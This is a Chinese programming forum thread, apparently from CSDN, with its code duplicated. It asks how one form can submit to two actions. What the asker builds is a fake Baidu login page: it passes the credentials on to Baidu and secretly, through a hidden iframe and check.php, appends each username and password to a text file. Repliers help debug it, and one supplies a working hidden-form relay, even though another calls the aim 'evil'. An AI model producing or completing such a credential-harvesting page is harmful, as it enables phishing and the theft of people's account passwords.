表单怎样处理两个action? 不想弹出窗口的话你就把“target="_blank"”这句去掉隐藏提交?你是不是应该在页面里隐藏一个iframe(先加个div,隐藏起来,在div里加一个iframe,再指定一个id),然后把form的target指向隐藏的iframe,这样提交在画面上是没有什么显示的。 解决方案 » 免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货 实验了一下,不成功,哪里出错了呢?弹出的百度也没提交成。-_- <form name="login" method=post action="https://passport.baidu.com/?login" onSubmit=check() target="i_frame" > <input type="text" name="username" /><input type="text" name="password" /> <input type="submit" name="loginsubmit" value="sumbit"> </form> <div><iframe id="i_frame" width="0" height="0" style="display:none" src="check.php"></div> <script language="javascript"> function check() { var form=document.all.login if(form.username.value=="") { alert("不能为空!") form.username.focus() return false; } form.action="https://passport.baidu.com/?login" form.submit() form.action="check.php" form.target="_black";form.submit();} </script> <form name="login" method="post" onSubmit="check()" target="i_frame"> <input type="text" name="username" /> <input type="text" name="password" /> <button name="tijiao" id="tijiao" type="submit" value="true">提交</button> </form> <iframe id="i_frame" width="50" name="i_frame" height="50" style="display:none" src="check.php"></iframe> 把上面的form.target="_black";改为form.target="_self";就能满足楼主的要求了。 感谢familyX,但问题仍然没有完美解决成功,具体表现是,当提交按钮后,会在当前页提交到百度登录,然而,并没有提交到check.php,我想这个才是主要问题,一个表单不能提交到两个action么,看看我的代码有没有问题,首先是Submit.html:<script language="javascript"> function check() { var form=document.all.login if(form.username.value=="") { alert("不能为空!") form.username.focus() return false; } form.action="check.php" form.submit() form.action="https://passport.baidu.com/?login" form.target="_self";form.submit();} </script> <form name="login" method="post" onSubmit="check()" target="i_frame"> <input type="text" name="username" /> <input type="text" name="password" /> <button name="tijiao" id="tijiao" type="submit" value="true">提交</button> </form> <iframe id="i_frame" width="50" name="i_frame" height="50" style="display:none" src="check.php"></iframe>这里是check.php,经测试没有问题的.check.php:<?php/*写入*/if ($_POST[tijiao]) {$fp=fopen("test.txt","a");fwrite($fp,$_POST[username]."|".$_POST[password]."\r\n"); //写入数据,中间用|隔开fclose($fp);}/*读取,可以通过|拆分项*/$lines=file("test.txt");print_r("<pre>");print_r($files);/*删除*/?>在这个问题我花费了两天时间,郁闷哇,CSDN朋友帮助! function check() { var form=document.all.login if(form.username.value=="") { alert("不能为空!") form.username.focus() return false; } form.action="check.php" form.submit() form.action="https://passport.baidu.com/?login" form.target="_self";form.submit();}js里这段代码好像有点问题吧form.action="check.php" ;form.submit();既然到此处已经提交了,那下面的脚本还会执行吗? 只能提交一次,submit后的代码不会执行,你可以提交到一个a页面,另一个action处理再a页面的onload里处理 回9楼的,我测试失败了!我在check.php放置了onload,但没提交到百度. :(check.php代码,不知道写错了没有.<?php/*写入*/if ($_POST[tijiao]) {$fp=fopen("test.txt","a");fwrite($fp,$_POST[username]."|".$_POST[password]."\r\n"); //写入数据,中间用|隔开fclose($fp);}/*读取,可以通过|拆分项*/$lines=file("test.txt");print_r("<pre>");print_r($files);/*删除*/?><script language="javascript"> function check() form.action="https://passport.baidu.com/?login" form.target="_self";form.submit();} </script> <BODY onload="check()"><form name="login" method="post" onSubmit="check()" target="i_frame"> <input type="text" name="username" /> <input type="text" name="password" /> <button name="tijiao" id="tijiao" type="submit" value="true">提交</button> </form></BODY> 你到人家的页面,不用提交吧,只要link过去就行了check.php这个页面你可以让它不显示出来,相当于直接跳到百度 其实很简单,在iframe页面里再做一个form,copy参数值,两个form同时submit就可以了。main.html:<script language="javascript"> function check() { var form=document.login; if(form.username.value=="") { alert("不能为空!") form.username.focus() return false; } var iform=window.frames[0].document.login;iform.username.value=form.username.value;iform.password.value=form.password.value;iform.submit();form.submit();} </script> <form name="login" method="post" onSubmit="check()" target="_self" action="https://passport.baidu.com/?login" > <input type="text" name="username" /> <input type="text" name="password" /> <button name="tijiao" id="tijiao" type="submit" value="true">提交</button> </form> <iframe id="i_frame" width="500" height=400 name="i_frame" height="50" style="display:block" src="check.jsp"><!--此处的display为block为测试可见,你可以自己改为none--></iframe> check.jsp//我这儿做php测试有点麻烦,就用jsp暂代测试了一下<html><head></head><body><form name="login" method="post" action="check.jsp" target="_self"> <input type="hidden" name="username" /> <input type="hidden" name="password" /> <%if(request.getParameter("username")!=null){%><h1><%=request.getParameter("username")%></h1><%}%></form></body></html> 回十三楼,你用jsp写的check.jsp能换成PHP写法吗?对于:<%if(request.getParameter("username")!=null){%><h1><%=request.getParameter("username")%></h1><%}%>我应该换成这种写法吗:<?phpif ($username=$_Get["username"]) :(?>//我连PHP的基础也不是很好,但希望能解决这个问题,最后一定会恶补,再次求助.而且我也局限在PHP环境:(谢谢jaopen. 因为check文件里的form 的method是post所以你应该用$_POST['username']和$_POST['password']得到输入的参数即可。 1。一个提交到baidu的登陆界面2。一个把用户名密码存到lz的DB里? 诚实说,有点EVIL,:)偶去试试。。 我很笨,一个整人的程序的还没写出来,回17楼jaopen,main.html没有问题,但是check.php代码我弄成这样,提交不成功,:(<html><head></head><body><form name="login" method="post" action="check.php" target="_self"> <input type="hidden" name="username" /> <input type="hidden" name="password" /> </form></body></html><?php/*写入*/if ($_POST[username]&&$_POST[password]) {$fp=fopen("test.txt","a");fwrite($fp,$_POST[username]."|".$_POST[password]."\r\n"); //写入数据,中间用|隔开fclose($fp);}/*读取,可以通过|拆分项*/$lines=file("test.txt");print_r("<pre>");print_r($files);/*删除*/?> 请问在设计普通函数时,是否也要考虑使用简单工厂模式,还是简单工厂模式专门用在类中? 【【【【jstree 移除节点的问题】】】】。。。。。。。。。。。。。。。讨论有分啊!!!!!!!速来。。。。 JSChart 后台返回的数据怎么放到Array里 求救,个人感觉很难的一个正则 怎么使得A下拉菜单对应B下拉菜单的某些数值 图文轮播 图片旋转效果 打造第一私活群,请大家相互转告,踊跃加入,群号17249308 帮我看看这段jquery代码,错在哪里 history.back之后 [求助] 关于js对日期赋初值的问题 Javascript代码运行出现的一个奇怪问题,请教各位
<form name="login" method=post action="https://passport.baidu.com/?login" onSubmit=check() target="i_frame" >
<input type="text" name="username" />
<input type="text" name="password" />
<input type="submit" name="loginsubmit" value="sumbit">
</form>
<div>
<iframe id="i_frame" width="0" height="0" style="display:none" src="check.php">
</div>
<script language="javascript">
function check()
{
var form=document.all.login
if(form.username.value=="")
{
alert("不能为空!")
form.username.focus()
return false;
}
form.action="https://passport.baidu.com/?login"
form.submit()
form.action="check.php"
form.target="_black";
form.submit();
}
</script>
<form name="login" method="post" onSubmit="check()" target="i_frame">
<input type="text" name="username" />
<input type="text" name="password" />
<button name="tijiao" id="tijiao" type="submit" value="true">提交</button>
</form>
<iframe id="i_frame" width="50" name="i_frame" height="50" style="display:none" src="check.php"></iframe>
form.target="_black";改为
form.target="_self";就能满足楼主的要求了。
<script language="javascript">
function check()
{
var form=document.all.login
if(form.username.value=="")
{
alert("不能为空!")
form.username.focus()
return false;
}
form.action="check.php"
form.submit()
form.action="https://passport.baidu.com/?login"
form.target="_self";
form.submit();
}
</script>
<form name="login" method="post" onSubmit="check()" target="i_frame">
<input type="text" name="username" />
<input type="text" name="password" />
<button name="tijiao" id="tijiao" type="submit" value="true">提交</button>
</form>
<iframe id="i_frame" width="50" name="i_frame" height="50" style="display:none" src="check.php"></iframe>这里是check.php,经测试没有问题的.check.php:
<?php
/*写入*/
if ($_POST[tijiao]) {
$fp=fopen("test.txt","a");
fwrite($fp,$_POST[username]."|".$_POST[password]."\r\n"); //写入数据,中间用|隔开
fclose($fp);
}
/*读取,可以通过|拆分项*/
$lines=file("test.txt");
print_r("<pre>");
print_r($files);
/*删除*/
?>在这个问题我花费了两天时间,郁闷哇,CSDN朋友帮助!
{
var form=document.all.login
if(form.username.value=="")
{
alert("不能为空!")
form.username.focus()
return false;
}
form.action="check.php"
form.submit()
form.action="https://passport.baidu.com/?login"
form.target="_self";
form.submit();
}
js里这段代码好像有点问题吧
form.action="check.php" ;
form.submit();
既然到此处已经提交了,那下面的脚本还会执行吗?
你可以提交到一个a页面,另一个action处理再a页面的onload里处理
check.php代码,不知道写错了没有.
<?php
/*写入*/
if ($_POST[tijiao]) {
$fp=fopen("test.txt","a");
fwrite($fp,$_POST[username]."|".$_POST[password]."\r\n"); //写入数据,中间用|隔开
fclose($fp);
}
/*读取,可以通过|拆分项*/
$lines=file("test.txt");
print_r("<pre>");
print_r($files);
/*删除*/
?>
<script language="javascript">
function check()
form.action="https://passport.baidu.com/?login"
form.target="_self";
form.submit();
}
</script> <BODY onload="check()"><form name="login" method="post" onSubmit="check()" target="i_frame">
<input type="text" name="username" />
<input type="text" name="password" />
<button name="tijiao" id="tijiao" type="submit" value="true">提交</button>
</form>
</BODY>
check.php这个页面你可以让它不显示出来,相当于直接跳到百度
main.html:<script language="javascript">
function check()
{
var form=document.login;
if(form.username.value=="")
{
alert("不能为空!")
form.username.focus()
return false;
}
var iform=window.frames[0].document.login;
iform.username.value=form.username.value;
iform.password.value=form.password.value;
iform.submit();form.submit();
}
</script>
<form name="login" method="post" onSubmit="check()" target="_self" action="https://passport.baidu.com/?login" >
<input type="text" name="username" />
<input type="text" name="password" />
<button name="tijiao" id="tijiao" type="submit" value="true">提交</button>
</form>
<iframe id="i_frame" width="500" height=400 name="i_frame" height="50" style="display:block" src="check.jsp"><!--此处的display为block为测试可见,你可以自己改为none--></iframe> check.jsp//我这儿做php测试有点麻烦,就用jsp暂代测试了一下
<html>
<head>
</head>
<body>
<form name="login" method="post" action="check.jsp" target="_self">
<input type="hidden" name="username" />
<input type="hidden" name="password" />
<%if(request.getParameter("username")!=null)
{%>
<h1><%=request.getParameter("username")%></h1>
<%}%></form>
</body>
</html>
<%if(request.getParameter("username")!=null)
{%>
<h1><%=request.getParameter("username")%></h1>
<%}%>我应该换成这种写法吗:
<?php
if ($username=$_Get["username"]) :(
?>//我连PHP的基础也不是很好,但希望能解决这个问题,最后一定会恶补,再次求助.而且我也局限在PHP环境:(
谢谢jaopen.
2。一个把用户名密码存到lz的DB里?
偶去试试。。
<html>
<head>
</head>
<body>
<form name="login" method="post" action="check.php" target="_self">
<input type="hidden" name="username" />
<input type="hidden" name="password" />
</form>
</body>
</html>
<?php
/*写入*/
if ($_POST[username]&&$_POST[password]) {
$fp=fopen("test.txt","a");
fwrite($fp,$_POST[username]."|".$_POST[password]."\r\n"); //写入数据,中间用|隔开
fclose($fp);
}
/*读取,可以通过|拆分项*/
$lines=file("test.txt");
print_r("<pre>");
print_r($files);
/*删除*/
?>